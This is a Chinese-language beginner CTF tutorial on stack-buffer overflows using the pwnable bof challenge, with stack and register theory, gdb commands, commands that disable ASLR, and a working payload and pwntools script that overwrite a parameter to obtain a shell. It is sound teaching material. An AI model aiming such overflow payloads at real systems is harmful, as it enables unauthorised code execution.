本篇会从PWN的HelloWorld——栈溢出漏洞开始,进行新手教程,由于我也是刚学习,所以理解上也是从新手的角度出发的,一些理解不到位的地方,恳请各位大神指正,我会及时修订。
教程需要对c语言和汇编有一些基本理解,但是一上来就讲一堆c基础和汇编基础确实太枯燥了很容易昏昏欲睡,所以教程采用例题引入问题,分析过程中遇到问题穿插对应知识点的方式进行说明,这也是作者自己学习过程中采用的方法。
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
二、环境设置及编译说明
2.1 环境设置
为了降低入门难度,会关闭操作系统的地址空间随机化(ASLR),这是针对栈溢出漏洞被操作系统广泛采用的防御措施。
# 注意,下面是临时修改方案,系统重启后会被重置为2
echo 0 > /proc/sys/kernel/randomize_va_space
2.2 编译源文件
在实验环境创建.c源代码文件,使用如下命令进行编译。
gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o [可执行文件名] [源文件名]
知识点-编译参数说明
三、栈溢出HelloWorld
3.1 bof程序
我们来看这样一段程序,来自PWN著名站点pwnable的经典程序bof,下载下来代码如下:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
我们先简单读一下这段代码,main函数中调用了func函数,但参数为0xdeadbeef,func函数中定义了一个char overflowme[32]的32位字符数组,调用gets函数获取用户的输入,如果key参数是0xcafebabe,则返回shell。
可以看到我们的目的就是想办法使得参数key等于0xcafebabe,这样就能get shell,但是key在main函数调用时写死了,有什么办法可以改动吗?
注意这句gets(overflowme);,会将我们输入的内容填入overflowme字符数组,如果填入超过32位的定义长度,就会发生栈溢出。
使用如下命令进行编译:
gcc-4.8 -g -m32 -O0 -fno-stack-protector -z execstack -o bof_32-gcc4.8 bof.c
注:本题pwnable官网是打开了栈保护和栈不可执行(通过checksec可以查看),但是我们本地环境编译时是关闭的,会造成栈偏离量略有不同,但思路是相同的。
3.2 寄存器与栈结构
寄存器
函数状态主要涉及三个寄存器--esp,ebp,eip。
- esp 用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。
- ebp 用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。
- eip 用来存储即将执行的程序指令的地址,cpu 依照 eip 的存储内容读取指令并执行,eip 随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
函数调用栈
函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等。称之为“栈”是因为发生函数调用时,调用函数(caller)的状态被保存在栈内,被调用函数(callee)的状态被压入调用栈的栈顶;在函数调用结束时,栈顶的函数(callee)状态被弹出,栈顶恢复到调用函数(caller)的状态。函数调用栈在内存中从高地址向低地址生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。
典型的函数调用栈结构如下:
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
# 说明
1. 随着函数执行,地址从高地址向低地址增长。
2. esp寄存器指向栈顶。
3. 按先进后出原则,调用函数(caller)先入栈,被调用函数(callee)后入栈。
发生函数调用时,会先将被调用函数(callee)的参数按逆序压入栈内,这些参数会保存在调用函数(caller)的函数状态内。
然后压入被调用函数(callee)的返回地址(即调用后的下一条指令的地址),这样就保存了调用函数的eip寄存器内容。
继续压入调用函数(caller)的基址,也就是当前ebp寄存器的值,同时将ebp寄存器的值更新为当前栈顶的地址(mov ebp,esp),这样调用函数(caller)的基地址信息得以保存,后续调用完毕返回时,可以用于恢复ebp。
继续压入被调用函数的局部变量等数据。
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
在压栈过程中,esp寄存器的值会逐渐减小(栈从内存高地址向地址值“生长”)。发生调用时,程序还会将被调用函数(callee)的指令地址存到eip寄存器内,这样程序就可以依序执行被调用函数的指令了。
调用结束时,栈变化的核心任务是弹出被调用函数(callee)的状态,并将整个栈恢复到调用函数(caller)的状态。首先弹出被调用函数(callee)的局部变量,然后将栈上存储的调用函数(caller)的基地址从栈内弹出,并重新保存到ebp寄存器中,这样调用函数的基地址信息得以恢复,此时栈顶会指向返回地址。最后将返回地址从栈顶弹出,并保存到eip寄存器内,这样调用函数的eip指令信息得以恢复,指向了调用函数后的下一条语句。
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
3.3 通过调试程序观察栈结构变化
上面说的可能还是太抽象了,最好的办法就是自己动手调试跟踪一下程序运行过程中栈的变化情况,因为栈结构的理解在PWN中是基础的基础,非常重要,所以这里建议大家一定要自己调试一下去理解这一变化过程。
使用gdb开始调试:
gdb -q bof_32-gcc4.8
# 调试的一开始输入(gdb8.0以上版本必须加,否则会导致断点设置失败)
(gdb) starti
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
使用disassemble查看函数汇编代码
# 查看main函数
(gdb) disassemble main
# 查看func函数
(gdb) disassemble func
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
在main函数调用func函数的地方下断点,观察此时的栈结构:
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
左侧为eip指令的地址,我们给0x080491ef这条call func指令下断点,然后r运行,程序会到断点处停下。
# 下断点
(gdb) b *0x080491ef
# 运行
(gdb) r
此时查看栈信息,可以看到如之前描述,栈顶存放的是main函数中func(0xdeadbeef)的参数。
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
单步执行,继续观察栈的变化,可以看到已经进入了func函数内部开始执行,并且观察到此时栈顶已经压入了返回地址,返回地址值为main函数中call func语句的下一条语句的地址0x080491f4。
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
和main函数中进行对比,发现一致。
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
后续可以从执行的汇编语句上看出将依次压入当前esp并开始执行func函数内部。
知识点-gdb调试工具常用指令
# 检查开启了哪些保护
(gdb) checksec
输出:
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
# 对进程调试
gdb attach [pid]
# 调试的一开始输入(gdb8.0以上版本必须加,否则会导致断点设置失败)
starti
# 查看main函数
(gdb) disassemble main
# 命令将函数代码和汇编指令映射起来
disassemble /m func
# 增加断点
(gdb) b *[address]
# 运行
(gdb) r
# 查看esp内容(以16进制查看$esp地址处2个单位的内容,每个单位4个字节)
(gdb) x/2wx $esp
# 显示寄存器指向的地址
p $寄存器:显示寄存器指向的地址
# 显示寄存器内容
用x命令可以显示内容,“x/格式 地址”。
x $pc:显示程序指针内容
x/i $pc:显示程序指针汇编。
x/10i $pc:显示程序指针之后10条指令。
# 继续执行
(gdb) c
# 单步调试
(gdb) stepi
或 单步过
(gdb) ni
或 单步入
(gdb) si
# 显示当前所有寄存器的值
(gdb) i r
# 设置自动显示接下来的要执行的3条指令
(gdb) display /3i $eip
# 查询进程信息(一般运行一遍后会加载出libc)
(gdb) info proc mappings / (gdb) info proc map
——可以用于查找libc信息
# 从libc中查找关键字
(gdb) find "/bin/sh"
3.4 攻击思路
掌握了上面的函数调用过程,回到上面的问题上来,我们要怎么使得key == 0xcafebabe呢?
找出参数key所在的地址
在main函数的call func处下断点,执行,查看栈内容,此时栈顶地址0xffffd610即为argv1,也就是key参数。这个之前已有描述。
(gdb) b *0x080491ef
# 执行
(gdb) r
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
找出func函数局部变量overflowme开始填充的地址:
我们可以利用填充特殊字符,找出从哪个地址开始填写的,例如输入60个A。在func函数的gets调用的下一步下断点(此时已经完成了特殊字符填充,方便我们找到从哪个地址开始)。
(gdb) b *0x080491ba
# 继续执行
(gdb) c
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
可以看到从地址0xffffd5e0开始填充a,计算0xffffd610 - 0xffffd5e0 = 48,即填充48位的padding后,即开始覆盖参数key的值。
(gdb) p/d 0xffffd610 - 0xffffd5e0
# 显示
$1 = 48
因为程序是小端序(什么是小端序可以自行搜索,简单的说就是按4字节逆序),所以0xcafebabe应该转为bebafeca,故可以构造如下payload:
(python -c 'print "a"*48 + "\xbe\xba\xfe\xca"'; cat -) | ./bof_32-gcc4.8
可以看到成功执行System函数,得到了Shell:
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
将程序通过socat发布到5555端口
nohup socat tcp4-listen:5555,reuseaddr,fork exec:/home/pwn/test/bof_32-gcc4.8
在虚拟机外执行payload测试
(python -c 'print "a"*48+"\xbe\xba\xfe\xca"'; cat -)|nc 10.211.55.6 5555
成功获得Shell
从0开始CTF-PWN(二)从PWN的HelloWorld-栈溢出开始
3.5 特别说明
再次强调,官网由于开启了栈保护,相比本地环境没有开启,会在栈上额外插入4字节的保护内容(padding变为52位),但并不影响解题思路。
3.6 pwntools实现
这里提供了pwntools攻击的实现,注释已有详细说明。
# coding:utf-8
from pwn import *
# 小端序转换函数
def p32_trans_iso_8859_1(value):
result = p32(value).decode('iso-8859-1')
return result
# 设置运行环境
context(arch='amd64', os='linux')
# process为本地程序,remote为远程调用
c = process("./bof_32-gcc4.8")
payload = 'A'*48 + p32_trans_iso_8859_1(0xcafebabe)
#print payload
# 向程序发送数据
c.sendline(payload)
# 获得shell
c.interactive()
4. 总结
通过这样一个栈溢出程序练习,掌握了程序基本的栈调用结构,初步体会到了栈溢出的效果。那么我们继续思考,本题中是直接提供了system("/bin/sh")语句反弹shell,如果没有这句,我们又要怎么获得Shell呢
|